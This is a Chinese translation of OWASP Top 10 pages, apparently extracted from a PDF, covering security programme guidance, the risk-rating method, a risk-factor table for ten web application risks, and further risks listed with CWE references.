
•从固有风险的角度来识别并对您的应用程序组合进行优先排序。

•建立一个应用程序的风险特征分析模型来衡量和排序您的所有应用程序和APIs。

•建立保证准则，合理定义所需的覆盖范围和级别。

•建立一个通用的风险等级模型，该模型中的可能性和影响要素应该与组织风险承受能力一致的。

基于风险的
组合方法

•建立一套集中关注的策略和标准，用于提供所有开发团队所遵循的一个应用程序安全底线。

•定义一组通用的可重复使用的安全控制，用于补充这些政策和标准，并提供使用它们的设计和
开发指南。

•建立一个应用程序安全培训课程，此课程应该要求所有的开发人员参加，并且针对不同的开发
责任和话题进行修改。

建立

雄厚的基础

•定义并集成安全实施和核查活动到现有的开发与操作流程之中。这些活动包括了威胁建模，安
全设计和审查，安全编码和代码审查，渗透测试，修复等等。

•为开发和项目团队提供主题专家和支持服务，以保证他们的工作顺利进行。

将安全

整合入

现有流程

•通过度量进行管理。根据对获取的度量和分析数据决定改进和投资的方向。这些度量包括：遵
循安全实践/活动，引入的漏洞，修复的漏洞，应用程序覆盖率，按类型和实例数量衡量缺陷密
度等等。

•对实现和核查活动进行数据分析，寻找根本原因和漏洞模式，以推动整个企业的战略和系统改
进。

提高管理层
对安全的可

见度

https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_1
https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_3
https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_1
https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_2
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/SAMM_-_Policy_&_Compliance_-_2
https://www.owasp.org/index.php/ESAPI
https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_2
https://www.owasp.org/index.php/SAMM_-_Construction
https://www.owasp.org/index.php/SAMM_-_Verification
https://www.owasp.org/index.php/SAMM_-_Threat_Assessment_-_1
https://www.owasp.org/index.php/SAMM_-_Design_Review_-_1
https://www.owasp.org/index.php/SAMM_-_Code_Review_-_1
https://www.owasp.org/index.php/SAMM_-_Security_Testing_-_1
https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_3


关于风险的备注说明+R
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这里讲述的是风险，而不是弱点

虽然2007年以及更早版本的OWASP Top 10专注于识别最流行的“漏洞”，但是OWASP TOP 10仍然一直围绕着风险而
组织。这使得一些试图寻找一个严格的漏洞分类结构的人产生了一些理解上的偏差。2010年的OWASP Top 10 项目首次明
确了10大风险，十分明确地描述了威胁代理、攻击向量、漏洞、技术风险，和业务影响等因素如何结合在一起产生风险，
这个版本的OWASP TOP 10仍然采用相同的方法论。

Top 10 的风险评级方法是基于《OWASP风险评级方法》。对于Top 10中每一项，我们通过查看每个常见漏洞一般情
况下的可能性因素和影响因素，评估了每个漏洞对于典型的Web应用程序造成的典型风险，然后根据漏洞给应用程序带
来的风险程度的不同来对Top 10进行分级。

《OWASP风险评级方法》定义了许多用于计算漏洞风险等级的因素。但是，Top 10应该讨论普遍性，而不是在真实
的应用程序和APIs中讨论具体的漏洞的风险。因此，我们无法像系统所有者那样精确计算应用程序中的风险高低。我们
也不知道您的应用程序和数据有多重要、您的威胁代理是什么、或是您的系统是如何架构和如何操作的。

对于每一个漏洞，我们的方法包含三种可能性因素（普遍性、可检测性和可利用性）和一个影响因素（技术影响）。
漏洞的普遍性我们通常无需计算。许多不同的组织一直在提供普遍性的数据给我们（请参考第3页致谢中的内容）。我们
取了这些数据的平均数得到了根据普遍性排序的10种最可能存在的漏洞。然后将这些数据和其他两个可能性因素结合

（可检测性和可利用性），用于计算每个漏洞的可能性等级。然后用每个漏洞的可能性等级乘以我们估计的每个漏洞的
平均技术影响，从而得到了Top 10列表中每一项的总的风险等级。

值得注意的是这个方法既没有考虑威胁代理的可能性，也没有考虑任何与您的特定应用程序相关的技术细节。这些

因素都可以极大影响攻击者发现和利用某个漏洞的整体可能性。这个等级同样没有将对您的业务的实际影响考虑进去。
您的企业组织需要参照自身的企业文化，行业，以及监管环境，确定企业组织可以承受的应用安全和APIs的风险有多大。
OWASP Top 10的目的并不是替您做这一风险分析。

下面举例说明A3“跨站脚本”的风险评估方法。注意到XSS的风险非常普遍，以致于它被唯一赋予了“非常广泛”的
普遍性值为0。其他所有风险值的范围从广泛到少见（值从1到3）。

安全
弱点

攻击
向量

技术
影响威胁代理

业务
影响

https://www.owasp.org/index.php/Top_10_2007-A3
https://www.owasp.org/index.php/Top10
https://www.owasp.org/index.php/Top_10_2010
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology


Top 10风险因素总结

下面的表格总结了2013年版Top 10应用程序安全风险因素，以及我们赋予每个风险因素的风险值。这些因素基于
OWASP团队拥有的统计数据和经验而决定。为了了解某个特定的应用程序或者企业组织的风险，您必须考虑您自己的威

胁代理和业务影响。如果没有相应位置上的威胁代理去执行必要的攻击，或者产生的业务影响微不足道，那么就是再臭
名昭著的软件漏洞也不会导致一个严重的安全风险。

关于风险因素的详细说明+F

风险

A1-注入 应用描述 易 常见 平均 严重 应用描述

A2-失效的身份认
证和会话管理

应用描述 平均 常见 平均 严重 应用描述

A3-跨站脚本
（XSS）

应用描述 平均 非常广泛 平均 中等 应用描述

A4-失效的访问控
制

应用描述 易 广泛 易 中等 应用描述

A5-安全配置错误 应用描述 易 常见 易 中等 应用描述

A6-敏感信息泄漏 应用描述 难 少见 平均 严重 应用描述

A7-攻击检测和预
防不足

应用描述 易 常见 平均 中等 应用描述

A8-跨站请求伪造
（CSRF）

应用描述 平均 少见 易 中等 应用描述

A9-使用已知含有
漏洞的组件

应用描述 平均 常见 平均 中等 应用描述

A10-未受保护的
API

应用描述 平均 常见 难 中等 应用描述

安全
弱点

攻击
向量

技术影响

额外需要考虑的风险

虽然Top 10的内容覆盖广泛，但是在您的企业组织中还有其他的风险需要您考虑并且评估。有的风险出现在了OWASP Top 10的以

前版本中，而有的则没有，这包括在不停被发现的新的攻击技术。其他您需要考虑的重要应用程序安全风险包括以下方面：

• Clickjacking （CAPEC-103）

• 拒绝服务（CWE-400）（2004年版《OWASP Top 10》中的A9部分）

• 反序列化不可信数据（CWE-502）针对防御，请参见：OWASP反序列化备忘单

• 表达式语言注入（CWE-917）

• 信息泄漏（CWE-209）和不恰当的错误处理（CWE-388）（2007年版《OWASP Top 10》的A6部分）

• 链接第三方内容（CWE-829）

• 恶意文件执行（CWE-434）（2007年版《OWASP Top 10》的A3部分）

• 质量分配（CWE-915）

• 服务器端请求伪造（SSRF）（CWE-918）

• 未验证的重定向和转发（CWE-601）（2013年版《OWASP Top 10》的A10部分）

• 用户隐私 （CWE-359）

威胁代理

业务
影响

普遍性 可检测性可利用性 影响

https://www.owasp.org/index.php/Clickjacking
https://capec.mitre.org/data/definitions/103.html
https://www.owasp.org/index.php/Application_Denial_of_Service
http://cwe.mitre.org/data/definitions/400.html
https://www.owasp.org/index.php/A9_2004_Application_Denial_of_Service
https://www.owasp.org/index.php/Deserialization_of_untrusted_data
http://cwe.mitre.org/data/definitions/502.html
https://www.owasp.org/index.php/Deserialization_Cheat_Sheet
https://www.aspectsecurity.com/uploads/downloads/2011/09/ExpressionLanguageInjection.pdf
http://cwe.mitre.org/data/definitions/917.html
http://projects.webappsec.org/Information-Leakage
https://cwe.mitre.org/data/definitions/209.html
https://www.owasp.org/index.php/Top_10_2007-A6
https://cwe.mitre.org/data/definitions/388.html
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/A9_2004_Application_Denial_of_Service
https://www.owasp.org/index.php/Top_10_2007-A6
https://seclab.cs.ucsb.edu/media/uploads/papers/jsinclusions.pdf
https://cwe.mitre.org/data/definitions/829.html
https://www.owasp.org/index.php/Top_10_2007-A3
https://cwe.mitre.org/data/definitions/434.html
https://www.owasp.org/index.php/Top_10_2007-A3
https://www.owasp.org/index.php/A9_2004_Application_Denial_of_Service
https://www.owasp.org/index.php/Top_10_2007-A3
http://en.wikipedia.org/wiki/Mass_assignment_vulnerability
http://cwe.mitre.org/data/definitions/915.html
https://cwe.mitre.org/data/definitions/918.html
https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards
https://cwe.mitre.org/data/definitions/601.html
https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards
https://www.owasp.org/index.php/A9_2004_Application_Denial_of_Service
https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards
https://www.owasp.org/index.php/Privacy_Violation
https://cwe.mitre.org/data/definitions/359.html



